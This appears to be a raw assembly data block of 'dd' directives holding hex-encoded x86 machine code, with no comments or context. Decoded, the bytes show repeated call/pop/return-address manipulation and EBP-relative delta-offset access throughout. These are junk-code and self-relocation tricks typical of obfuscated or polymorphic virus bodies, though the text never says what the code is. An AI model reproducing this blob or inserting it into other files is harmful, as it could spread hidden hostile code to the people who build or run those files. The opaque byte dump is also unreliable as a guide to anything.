		dd 615EA2F4h, 0E4F870E6h, 919D8B71h, 3C05E21Eh,	0F9830F61h
		dd 8B000000h, 0C8B60FDFh, 0BAFEB70Fh, 6, 243DBD8Bh, 0C18B05E2h
		dd 0D2DB589h, 0E8C105E2h, 0A8F0F04h, 0F000000h,	487h, 4CBF6600h
		dd 0A1BD2BFAh, 6605E206h, 0E780E2F7h, 0E8C82B75h, 13h
		dd 2F3220E4h, 0DC62A012h, 3C481EBBh, 0A224E29Bh, 5B620020h
		dd 890FD18Bh, 6, 46B1DF81h, 91E97D7Ch, 8B000000h, 0E21E79BDh
		dd 50858B05h, 8947554Ch, 0E21471BDh, 7C08305h, 0FF88B66h
		dd 68Ah, 6DBD8B00h, 8305E22Ch, 9D8B00C0h, 5E21A75h, 830FD03Bh
		dd 1Ch,	0B5236060h, 5E22625h, 190751BAh, 0D38B616Ch, 46E961h
		dd 0BD8B0000h, 5E20419h, 0FFFF8D8Bh, 8960FFFFh,	0E215599Dh
		dd 0E7816605h, 8361AB36h, 840F01E1h, 24h, 0AB99C3BFh, 0D98B665Dh
		dd 0FFFFA583h, 66FEFFFFh, 0AE9C381h, 4C509589h,	74BB4755h
		dd 0E97557BCh, 0
		dd 8430B58Dh, 0BD8B05E6h, 5E224D1h, 9D89006Ah, 5E210F5h
		dd 0AB995FFh, 6A05E2h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 150424h, 51410000h, 0B9FBA7C3h, 10A3h, 8BFCE183h, 0E22AD59Dh
		dd 0FC63B305h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 1Bh,	0E4C35141h, 185DEA1Fh, 0E9D27D80h, 0Ah,	683C47FDh
		dd 7D9AB686h, 0E96007F4h, 9, 7F1EC877h,	0A65C71C1h, 9D9D8B0Eh
		dd 6105E21Bh, 0B8h, 8D9D8B00h, 0BA05E222h, 0
		dd 15299D33h, 33AD05E2h, 3E8D1C2h, 4E983D0h, 0DF8BF475h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 19h, 84C35040h
		dd 2D028DD2h, 7E8608Dh,	0CE000000h, 4436A995h, 0BD8B683Ah
		dd 5E216F5h, 880D615Bh,	6A000000h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 19042444h, 40000000h, 85CAC350h
		dd 0D56DCBB7h, 0BE9958Bh, 6A05E2h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 150424h, 50400000h, 8B91CBC3h, 0E207618Dh
		dd 50006A05h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1D04h
		dd 0C3504000h, 0ADEE1945h, 17EC2813h, 8B506227h, 3188BC2h
		dd 8B188BC1h, 3E8D1C1h,	58188BC2h, 8870Fh, 66600000h, 8A0DCDBAh
		dd 6A61E5h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 150424h
		dd 53430000h, 8B92C3C3h, 0E2049D9Dh, 83FA8B05h,	0E20D79BDh
		dd 840F0005h, 51h, 30ED9D8Bh, 0B805E2h,	89000000h, 0E226799Dh
		dd 428D8D05h, 6A05E24Ch, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 1B042444h, 47000000h, 1105C357h, 0A7D144A3h
		dd 9D8BD8BDh, 5E22BCDh,	22D1BD89h, 0E1FF05E2h, 2F9DB589h
		dd 0BF0F05E2h, 55BD83DEh, 5E21Bh, 3D7840Fh, 8E90000h, 0B4000000h
		dd 0D4D7ADAAh, 83902C4Dh, 0E21B55BDh, 840F0105h, 3D8h
		dd 0F5B589h, 0BD8305E2h, 5E21B55h, 8F860F03h, 6A000003h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 1A042444h
		dd 42000000h, 92EEC352h, 97FACF18h, 9B3FBF22h, 8B6074D4h
		dd 0E226A19Dh, 0BB665705h, 665BD4D8h, 6AD98Ch, 3E855h
		dd 5D200000h, 6C895DC3h, 44810424h, 180424h, 55450000h
		dd 7A51C3C3h, 0B501A6CAh, 5E231C9h, 1BE99D2Bh, 0E18005E2h
		dd 55006A04h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1404h
		dd 0C3554500h, 0F38166EAh, 0C90A26E7h, 100840Fh, 6A0000h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1B0424h, 57470000h
		dd 689D92C3h, 0EC6290A1h, 919D8B11h, 8B05E224h,	0E2241D85h
		dd 158D8905h, 3305E207h, 0E22AA985h, 53006A05h,	3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1604h,	0C3534300h, 8B430AFFh
		dd 65BB66F8h, 0FE89079h, 0A000000h, 0C12E0BF0h,	8E9AA192h
		dd 0CE921CC5h, 66579E25h, 5B5FFB8Bh, 90FA8B50h,	0EBDBD8Bh
		dd 6A05E2h, 0D50C68F5h,	850F1994h, 19h,	0FE8h, 0C8E29700h
		dd 0E5ADA083h, 62EBCBB5h, 9F0BDF85h, 940EBF66h,	2434815Fh
		dd 198BD6F3h, 1AB19D8Bh, 95FF05E2h, 5E20839h, 9D8589FCh
		dd 0E805E5BBh, 6, 47D629C4h, 9570D0Fh, 0E2151585h, 0E95B5F05h
		dd 1ABh, 0E855006Ah, 3,	5DC35D20h, 4246C89h, 4244481h
		dd 1Ah,	2CC35545h, 0A549F931h, 858BB781h, 5E5BB95h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Ah, 0ECC35747h, 654D2F93h
		dd 9D8B3764h, 5E200FDh,	1800C7h, 0BD8B0000h, 5E213ADh
		dd 0BB99B58Bh, 0F88A05E5h, 0F9858Bh, 6A05E2h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 1D0424h, 50400000h, 0C5BCB9C3h
		dd 87833D92h, 895DE0FBh, 0E21111BDh, 6A068905h,	3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1C042444h, 40000000h
		dd 0A402C350h, 84AA753Dh, 894D3551h, 0E21D09BDh, 1D858B05h
		dd 6A05E224h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 1A042444h, 41000000h, 0E29CC351h, 177FC4CFh,	0BE940h
		dd 0E7740000h, 746AAD0Fh, 2510238Bh, 14E860h, 0F0E20000h
		dd 0A7BCD393h, 0E340CF3Eh, 0F9AFE8C2h, 625019EFh, 95895F2Ch
		dd 5E210E9h, 446895Bh, 4870F96h, 66000000h, 506806BBh
		dd 2161BB66h, 0EDBD8B96h, 0FF05E222h, 0E5BB95B5h, 55006A05h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1C04h, 0C3554500h
		dd 607D6EA7h, 8E80F33Ch, 958D29D3h, 6805E216h, 0DB3FE28Fh
		dd 70240481h, 0F524DF21h, 0BB9D858Dh, 6A05E5h, 3E850h
		dd 58200000h, 448958C3h, 44810424h, 180424h, 50400000h
		dd 2A6800C3h, 0F90B84Ah, 385h, 0DE8B6600h, 0BF0F9050h
		dd 3995FFDEh, 6105E208h, 0EE96060h, 1C000000h, 0F4D7CD56h
		dd 7FB5B131h, 6739D1DEh, 88BA664Dh, 8D896162h, 5E221B5h
		dd 5585C761h, 305E21Bh,	0F000000h, 88h,	9DBD8300h, 5E5BBh
		dd 38840Fh, 6A0000h, 3E853h, 5B200000h,	5C895BC3h, 44810424h
		dd 1D0424h, 53430000h, 0DF6604C3h, 18204A22h, 1C465EDh
		dd 0E22BCDBDh, 23E905h,	830F0000h, 2, 3050D98Bh, 4400110Ch
		dd 0E8C10111h, 11443010h, 114C0002h, 0E9835803h, 0EBE77504h
		dd 4305036h, 11640011h,	10E8C101h, 2114430h, 3116400h
		dd 4E98358h, 1BEBE775h,	10E8C150h, 3116428h, 2114430h
		dd 11642858h, 11043001h, 7504E983h, 8B00EBE7h, 56006AC0h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1704h, 0C3564600h
		dd 74DF284Ch, 0D88BDF8Bh, 6800Fh, 9D8B0000h, 5E20CA1h
		dd 1B55BD83h, 0F0305E2h, 41F85h, 55006A00h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1904h,	0C3554500h, 7E6F5F67h
		dd 9D0BC83Fh, 5E2046Dh,	0BB9DBD83h, 0F0005E5h, 3EB84h
		dd 50006A00h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1C04h
		dd 0C3504000h, 217D8966h, 0AFAD7241h, 28E0FF4h,	0B7000000h
		dd 9DB5FFE0h, 6A05E5BBh, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 14042444h, 41000000h, 0FD0C351h, 0BD8BFFB7h
		dd 5E218F5h, 172D95FFh,	6A05E2h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 180424h, 52420000h, 0DC4082C3h, 0B58BE691h
		dd 5E5BB91h, 2B558529h,	6C705E2h, 10001h, 0E856006Ah, 3
		dd 5EC35E20h, 4247489h,	4244481h, 14h, 0DCC35646h, 45D9531h
		dd 0BD8B05E2h, 5E22B55h, 33BF6696h, 5E950CFh, 0C000000h
		dd 713D0826h, 51006A96h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1404h, 0C3514100h, 0ADBD89A4h, 0FF05E21Eh, 0E5BB9DB5h
		dd 8D895005h, 5E20135h,	0D195FF5Bh, 6A05E22Bh, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1A042444h, 43000000h
		dd 15C9C353h, 0DC6535F9h, 11E984h, 45CD0000h, 0E0281797h
		dd 3411DCC0h, 0F59B0551h, 8BBAE289h, 0E5BB91B5h, 8B5B5005h
		dd 0E210DD85h, 52006A05h, 3E8h,	0C35A2000h, 2454895Ah
		dd 24448104h, 1D04h, 0C3524200h, 9E3C1DE9h, 711324D9h
		dd 8689C97Eh, 0C4h, 0E852006Ah,	3, 5AC35A20h, 4245489h
		dd 4244481h, 1Bh, 21C35242h, 497EF191h,	0FC31990Ch, 1C9D8D29h
		dd 958B05E2h, 5E20BE9h,	21A1B589h, 0C28305E2h, 52006A04h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1804h, 0C3524200h
		dd 551F55A4h, 896AB798h, 8DF52050h, 0E5CE5B85h,	0D88B5305h
		dd 0B886895Bh, 6A000000h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 1B042444h, 43000000h, 6D1FC353h, 4DFF63A1h
		dd 0BF0FA3B5h, 66006AF8h, 0EC0FF781h, 0CBBF0F60h, 0CF68166h
		dd 0B5FF61FBh, 5E5BB9Dh, 95FF6BB7h, 5E214E9h, 50DFBF0Fh
		dd 3489DA8Bh, 0E5B58924h, 0FF05E204h, 0E5BB9DB5h, 56006A05h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1704h, 0C3564600h
		dd 7A8A5701h, 0FE9h, 0CB16CB00h, 0A6F98412h, 0DB640941h
		dd 0CBF04AD2h, 2D2195FFh, 0BD8B05E2h, 5E216A9h,	89BD83h
		dd 0F0005E2h, 2E84h, 0C1B58900h, 9605E203h, 6A9650h, 3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 1A0424h, 56460000h
		dd 87E547C3h, 0C7A55F7Dh, 0FFDA8B66h, 0E5BB9DB5h, 53006A05h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1604h, 0C3534300h
		dd 66602956h, 0FFF30DBFh, 0E2041595h, 0FDBD2B05h, 0FF05E21Dh
		dd 0E5BB9DB5h, 50006A05h, 3E8h,	0C3582000h, 24448958h
		dd 24448104h, 1D04h, 0C3504000h, 845CAFC5h, 0D124E793h
		dd 5E82987h, 64000000h,	8E3ABAB0h, 196D9589h, 0FF5B05E2h
		dd 0E20A5995h, 0C99D8B05h, 8305E207h, 0E224CDBDh, 840F0205h
		dd 70h,	0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Ch
		dd 19C35242h, 629DBC31h, 0B230CEB7h, 858BA8B3h,	5E21F35h
		dd 0C0DB589h, 9D2305E2h, 5E2073Dh, 6A0000C6h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 17042444h, 45000000h
		dd 3330C355h, 9D318089h, 5E224FDh, 0BE9h, 0FD544900h, 0C7382E90h
		dd 0EF1C1FFh, 0CF985C7h, 5E2h, 6A0000h,	3E855h,	5D200000h
		dd 6C895DC3h, 44810424h, 1D0424h, 55450000h, 3CB690C3h
		dd 6C910249h, 8BE6535Ch, 0E20C25BDh, 0E3816605h, 85891E23h
		dd 5E21391h, 0FFF407E9h, 0F8BF0FFFh, 6AC18Bh, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 1C0424h, 53430000h, 0C0D1C7C3h
		dd 0D4F8E2A7h, 0BD8B23ECh, 5E21BC9h, 0E91858Dh,	0BB6605E2h
		dd 0E990472Fh, 14h, 0AE22DB54h,	108D6829h, 0C19596EFh
		dd 0F5B6EB2Fh, 1D195246h, 0DE8B6650h, 91958990h, 2B05E213h
		dd 0E22CDDBDh, 6A006A05h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 18042444h, 41000000h, 5B89C351h, 6A8F1C90h
		dd 13E900h, 8EAB0000h, 0E4EB7584h, 73BE425Fh, 0E48D7414h
		dd 1A3D5389h, 5F79BB03h, 858D4303h, 5E71B4Ch, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 15h, 0CEC35141h, 3840F90h
		dd 52000000h, 0C0835BF5h, 50006A05h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1604h,	0C3504000h, 0FBD8058h
		dd 388h, 0CDDF8000h, 1C840F50h,	60000000h, 0FE9h, 0DBE04900h
		dd 2FBADFEEh, 0F4A8D9CAh, 0D8603980h, 310F5250h, 8961585Ah
		dd 0B70F2404h, 6A006AFAh, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 14042444h, 47000000h, 6A7BC357h, 0BBBB6600h
		dd 0D9958923h, 0FF05E200h, 0E21E2D95h, 808D8D05h, 6A05E59Dh
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 16042444h
		dd 40000000h, 4E34C350h, 820FE0h, 0FF000000h, 52006AD1h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1404h, 0C3524200h
		dd 758D31DCh, 8305E20Dh, 0E200B9BDh, 850F0105h,	0A7h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ch, 63C35646h, 7FB21A42h
		dd 54BD0B35h, 18558509h, 26A05E2h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 1Bh, 0DFC35646h,	1684F197h, 0F7EFFBEh
		dd 5090FABFh, 1C890Fh, 12E80000h, 5000000h, 0E125F34Fh
		dd 966C438Ch, 0BD939A44h, 15D35AECh, 45BF66CBh,	0B3905B61h
		dd 0E995FFDBh, 6A05E214h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 15042444h, 42000000h, 0B7F3C352h,	0D6EF8166h
		dd 0CDBD89A2h, 0E905E200h, 0DA0h, 0E8h,	0ED815D00h, 5E71B56h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 14h, 27C35040h
		dd 0AB5BD8Bh, 9D8B05E2h, 5E201A5h, 8E9E858Dh, 6E905E5h
		dd 7C000000h, 83CCC8D5h, 319D2B84h, 5005E20Ch, 19890Fh
		dd 14E90000h, 11000000h, 8833065h, 0E0CCB770h, 90773C44h
		dd 3688A078h, 89EE5015h, 6A2404h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 140424h, 52420000h, 8166AFC3h, 0E9125BC7h
		dd 0Dh,	0EFBA9FDDh, 2D001110h, 0CA3EA813h, 35FF6402h, 0
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 18h, 82C35747h
		dd 0AF39C932h, 258964h,	29000000h, 0E2184D85h, 2985FF05h
		dd 6A05E223h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 16042444h, 40000000h, 8D33C350h, 9BD8BB9h, 3105E22Bh
		dd 0E21B3D85h, 81FF6A05h, 42CEBEC7h, 0DDB5FF53h, 2905E203h
		dd 0E21735BDh, 9D95FF05h, 0E905E218h, 136h, 835BD29h, 0B005E2h
		dd 11E9h, 0F7FCEA00h, 1C3C3B21h, 0C95FB17Bh, 2EEAC6ECh
		dd 70E68472h, 71E4A8B3h, 8E9h, 6F604600h, 77169F29h, 0D6F381BAh
		dd 3C1B9346h, 0F7830F61h, 8B000000h, 0E221399Dh, 0FAB2BF05h
		dd 0B60F560Fh, 0E6F4BBC8h, 6BA794Eh, 66000000h,	46E8F781h
		dd 9D8BC18Bh, 5E22BDDh,	0F04E8C1h, 0D84h, 8E900h, 0EA510000h
		dd 0C989CAFFh, 0F7664A66h, 9E9E2h, 0CFCC0000h, 0E2BC208Eh
		dd 2BACB3AFh, 819D8BC8h, 8B05E22Dh, 0E9D88BD1h,	9Ah, 5E9h
		dd 0F531F000h, 858B66E7h, 44004E49h, 5E960h, 80250000h
		dd 8902BCC0h, 0E22D819Dh, 0C0836105h, 6BB86007h, 3443914h
		dd 0E21A3985h, 8A0F6105h, 5, 2CD78166h,	0C08308h, 3BF98B66h
		dd 19830FD0h, 89000000h, 0E21F3195h, 44E905h, 9E90000h
		dd 0AE000000h, 0D34A47EBh, 59572685h, 0FFFF8D8Bh, 0BD8BFFFFh
		dd 5E20A09h, 0F01E183h,	2184h, 61BD8B00h, 8305E21Ah, 0FFFFFFA5h
		dd 0BF0FFEFFh, 499589FFh, 8B44004Eh, 0E22C51BDh, 0E905h
		dd 0B58D0000h, 5E694D3h, 6A60B3h, 13E9h, 5595C200h, 10015A6h
		dd 4AD1F1BAh, 70A8B3Dh,	56A0866Ah, 14E9h, 57CDD600h, 95675126h
		dd 9E64818h, 0F717BCA3h, 52BB6052h, 0B995FF3Ch,	6A05E20Ah
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 1A042444h
		dd 42000000h, 0AA44C352h, 0CE9DB09Dh, 4D8D89DEh, 0B905E20Eh
		dd 1064h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 15h,	0CDC35646h, 0E183F8A8h,	0C8E0FFCh, 0F000000h, 681h
		dd 0F59D8B00h, 0F05E208h, 31FCDBBFh, 0E216B595h, 6AC02B05h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 1A042444h
		dd 40000000h, 64B5C350h, 0FB6F0287h, 5DBD8BC8h,	0F05E223h
		dd 481h, 0EFBB6600h, 0BA69h, 6A0000h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 1B0424h, 56460000h, 3A114AC3h
		dd 0E5F8C9B3h, 0FB8B66D2h, 22E59589h, 33AD05E2h, 3E8D1C2h
		dd 4E983D0h, 6AF475h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 190424h, 51410000h, 7FD9DBC3h, 8BD4D012h, 0E21E799Dh
		dd 4D950105h, 0D05E218h, 88h, 1B458D89h, 958B05E2h, 5E20BE9h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Ch, 2FC35747h
		dd 0BCF3387Ah, 8AF10547h, 19058529h, 8D8B05E2h,	5E20761h
		dd 0D5DAF781h, 8B50277Ah, 3188BC2h, 8B188BC1h, 3E8D1C1h
		dd 58188BC2h, 0E857006Ah, 3, 5FC35F20h,	4247C89h, 4244481h
		dd 1Dh,	49C35747h, 59367427h, 95A8252h,	0AE9EFh, 1BF30000h
		dd 4B2013E5h, 5A09BF67h, 10D9BD8Bh, 0BD8305E2h,	5E20D79h
		dd 72840F00h, 6A000000h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1A042444h, 42000000h, 287CC352h, 0A8541EEFh
		dd 0B8E9h, 880F0000h, 6, 1CE99D8Bh, 8D8D05E2h, 5E24C42h
		dd 1ED216BBh, 0EDCB8160h, 0FF72C1D1h, 56006AE1h, 3E8h
		dd 0C35E2000h, 2474895Eh, 24448104h, 1904h, 0C3564600h
		dd 4AE6BB44h, 8166628Ch, 8902FBD3h, 0E221AD95h,	55BD8305h
		dd 5E21Bh, 411840Fh, 0BD890000h, 5E20099h, 1B55BD83h, 0F0105E2h
		dd 41984h, 0B18D2900h, 8305E22Ah, 0E21B55BDh, 860F0305h
		dd 3D0h, 0E853006Ah, 3,	5BC35B20h, 4245C89h, 4244481h
		dd 1Ch,	8C35343h, 5E7F353Bh, 0DED69E83h, 75858960h, 8B05E229h
		dd 0E218FD9Dh, 0D98C6605h, 265DBD2Bh, 9D8905E2h, 5E20771h
		dd 0E904E180h, 0Fh, 0FBF9E3CDh,	1F62B562h, 0BA9D0498h
		dd 0AFD9CE5h, 4F840FC9h, 0F000001h, 584h, 0EB816600h, 858B0D5Fh
		dd 5E2241Dh, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 1Ch,	0B4C35242h, 0A658525Fh,	6ED36532h, 2AA98533h, 6A05E2h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1D0424h, 53430000h
		dd 34A6B2C3h, 0F17A48Ch, 8BCCEB5Dh, 0E21B59BDh,	0F860F05h
		dd 0E8000000h, 7, 0EE494035h, 50E745DDh, 66505F5Bh, 489DF8Bh
		dd 0DFB70F24h, 6A006Ah,	3E852h,	5A200000h, 54895AC3h, 44810424h
		dd 1D0424h, 52420000h, 0C4A391C3h, 0A1E90F03h, 0E9F91047h
		dd 0Fh,	1D58EFB2h, 2CECAFD5h, 381060C1h, 6892F649h, 0D7F61798h
		dd 168B0Fh, 11E90000h, 0EB000000h, 292BF56Dh, 7C439CA3h
		dd 0B6E2EDAFh, 0E0B7B45Eh, 67240481h, 6A2828ECh, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1C042444h, 43000000h
		dd 0E98BC353h, 1701A7B5h, 817048E2h, 2EE2DEC3h,	3995FF52h
		dd 6A05E208h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1D042444h, 43000000h, 1563C353h, 4DF05C5Bh, 55C02F10h
		dd 0BB9D8589h, 0BF6605E5h, 0A4E98E14h, 0F000001h, 858BDEB7h
		dd 5E5BB95h, 0C75B53h, 18h, 19F9BD8Bh, 0B58B05E2h, 5E5BB99h
		dd 0C4D9D8Bh, 858B05E2h, 5E200F9h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 1Bh, 5EC35343h, 0B2A8B1Dh, 89F147F8h
		dd 0FE906h, 1A070000h, 79FA0C5h, 0F945A729h, 0B601E485h
		dd 73B860B3h, 2946A19Ah, 0E21755BDh, 858B6105h,	5E2241Dh
		dd 3840Fh, 0B70F0000h, 44689D9h, 0E851006Ah, 3,	59C35920h
		dd 4244C89h, 4244481h, 14h, 86C35141h, 894CB350h, 6A2434h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1B0424h, 52420000h
		dd 37BE1EC3h, 2D0A896Dh, 6E9C5h, 0DCF20000h, 0A0D524ABh
		dd 0BB95B5FFh, 6A05E5h,	3E855h,	5D200000h, 6C895DC3h, 44810424h
		dd 140424h, 55450000h, 0B58994C3h, 5E22B21h, 11E9h, 2C707700h
		dd 68FE5045h, 0DF923F08h, 0B98E06BEh, 156855A7h, 8156324Fh
		dd 4CEA2434h, 6A562Dh, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 190424h, 50400000h, 45A9FC3h, 0E9399757h, 7,	3382A06h
		dd 8D9597E3h, 0E5BB9D85h, 50006A05h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1504h,	0C3504000h, 6E8CBACh, 57000000h
		dd 810AB51Ah, 5F67B3AEh, 7C99D29h, 605005E2h, 830F60h
		dd 50000000h, 5A310F52h, 91B96158h, 613DCAF0h, 89240489h
		dd 0E20A8995h, 3995FF05h, 6105E208h, 10318D89h,	85C705E2h
		dd 5E21B55h, 3,	0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 1Ah,	0D4C35646h, 43BFE176h, 0BD2997B1h, 5E21BC5h, 0BB9DBD83h
		dd 0F0005E5h, 3B84h, 55006A00h,	3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1A04h, 0C3554500h, 6D55AC6h, 29B5B6ABh, 0E230898Dh
		dd 0C5BD8905h
		dd 0E905E215h, 23h, 0BD8BF98Bh,	5E21E6Dh, 110C3050h, 1114400h
		dd 3010E8C1h, 21144h, 5803114Ch, 7504E983h, 5036EBE7h
		dd 110430h, 0C1011164h,	443010E8h, 64000211h, 83580311h
		dd 0E77504E9h, 0C1501BEBh, 642810E8h, 44300311h, 28580211h
		dd 30011164h, 0E9831104h, 0EBE77504h, 53C08B00h, 0FF19D01h
		dd 6A5F05E2h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1D042444h, 45000000h, 567AC355h, 782E103h, 0AEDA1052h
		dd 6830Fh, 9D8B0000h, 5E2072Dh,	9D89DF8Bh, 5E22D29h, 1B55BD83h
		dd 0F0305E2h, 3FE85h, 0BD83FC00h, 5E5BB9Dh, 0F0840F00h
		dd 0BF000003h, 62B33C7Eh, 0BB9DB5FFh, 0BD8905E5h, 5E23135h
		dd 0AC30BF66h, 172D95FFh, 665005E2h, 51EDD381h,	91B58B5Bh
		dd 6A05E5BBh, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 18042444h, 41000000h, 0C230C351h, 0C731FDE7h, 1000106h
		dd 57006A00h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1704h
		dd 0C3574700h, 3EBC7C42h, 6E9h,	43B0C300h, 96E1C3B0h, 0BF665250h
		dd 310FADB9h, 0DB948EBFh, 50585A67h, 6A96CFB7h,	3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 17042444h, 46000000h
		dd 0DA0DC356h, 0BD29ACF9h, 5E21D95h, 88A0Fh, 8B560000h
		dd 0E210C1BDh, 0B5FF5F05h, 5E5BB9Dh, 695F381h, 95FF22BBh
		dd 5E22BD1h, 91B58BF8h,	5105E5BBh, 0C2DF8166h, 858B5FC2h
		dd 5E210DDh, 0E6B0BB66h, 0C48689h, 0BD890000h, 5E20529h
		dd 0BE9958Bh, 9E905E2h,	7D000000h, 83BB8F4Eh, 38AAF125h
		dd 8904C283h, 6A2050h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 1C0424h, 55450000h, 35C04FC3h, 0FD942076h, 9D034650h
		dd 5E22BF1h, 0CE5B858Dh, 6A05E5h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 140424h, 56460000h, 8B0F14C3h, 0Bh, 0D98B6660h
		dd 14418529h, 0FC6105E2h, 0B88689h, 6A0000h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 1A0424h, 55450000h, 0D2F0BBC3h
		dd 0E442BD41h, 6E8h, 14336D00h,	310EA5B4h, 0E210259Dh
		dd 95895F05h, 5E21801h,	6A006Ah, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 190424h, 57470000h, 362C6BC3h, 0E97BFFE1h
		dd 0Bh,	99945C1Fh, 0D499129h, 0FF8E97B6h, 0E5BB9DB5h, 51006A05h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1504h, 0C3514100h
		dd 53B335C0h, 14E995FFh, 9D8B05E2h, 5E200C9h, 50D98B96h
		dd 6482DABBh, 6A9640h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 1A0424h, 50400000h, 0AC85F1C3h, 0EBC85ADBh, 0DE9h, 609F2300h
		dd 4DF9BD0Eh, 0E950667Fh, 0B5FFC19Ch, 5E5BB9Dh,	0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 17h, 8BC35747h, 8BB58B16h
		dd 0E222D1BDh, 2195FF05h, 6605E22Dh, 832EF2BBh,	0E20089BDh
		dd 840F0005h, 4Dh, 0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 1Bh, 0FEC35343h, 596A70A5h, 8924355Eh, 0E231459Dh
		dd 0BD8B5605h, 5E2265Dh, 810F965Bh, 0Dh, 8E9h, 17C33E00h
		dd 3D008124h, 0FE8B50B9h, 0DABF6696h, 9DB5FFDAh, 6A05E5BBh
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 1D042444h
		dd 41000000h, 503CC351h, 55D0196Fh, 0A64452B3h,	0B6D78166h
		dd 1595FF5Ch, 0F05E204h, 682h, 19BD3300h, 0FF05E201h, 0E5BB9DB5h
		dd 4D9D8B05h, 0FF05E20Ch, 0E20A5995h, 53006A05h, 3E8h
		dd 0C35B2000h, 245C895Bh, 24448104h, 1704h, 0C3534300h
		dd 1DC9BED8h, 23D58589h, 0BD8305E2h, 5E224CDh, 60840F02h
		dd 6A000000h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 1C042444h, 40000000h, 1DF1C350h, 0D04FCCB4h,	0E9D084CBh
		dd 0Dh,	97D943E7h, 6A111A3Bh, 0D8EF32E0h, 35858BCCh, 0F805E21Fh
		dd 6A0000C6h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 15042444h, 47000000h, 43B5C357h, 0C7DEBF0Fh,	0E20CF985h
		dd 5, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1404h, 0C3564600h, 55BD29A2h, 0E905E22Dh, 0FFFFF3A9h
		dd 9E8h, 83D7E200h, 875F4F21h, 9E80057h, 72000000h, 77E76C02h
		dd 0C266D1D5h, 1D098D09h, 5F5B05E2h, 14E8C18Bh,	0D1000000h
		dd 8B5142B8h, 0BC39A48Eh, 361FA045h, 21C78AA2h,	669D10EBh
		dd 5FA008BFh, 0E91858Dh, 8E805E2h, 51000000h, 0F9836F1Ah
		dd 8B03205Bh, 51905FDAh, 696713BFh, 0BB505B56h,	19FF00EEh
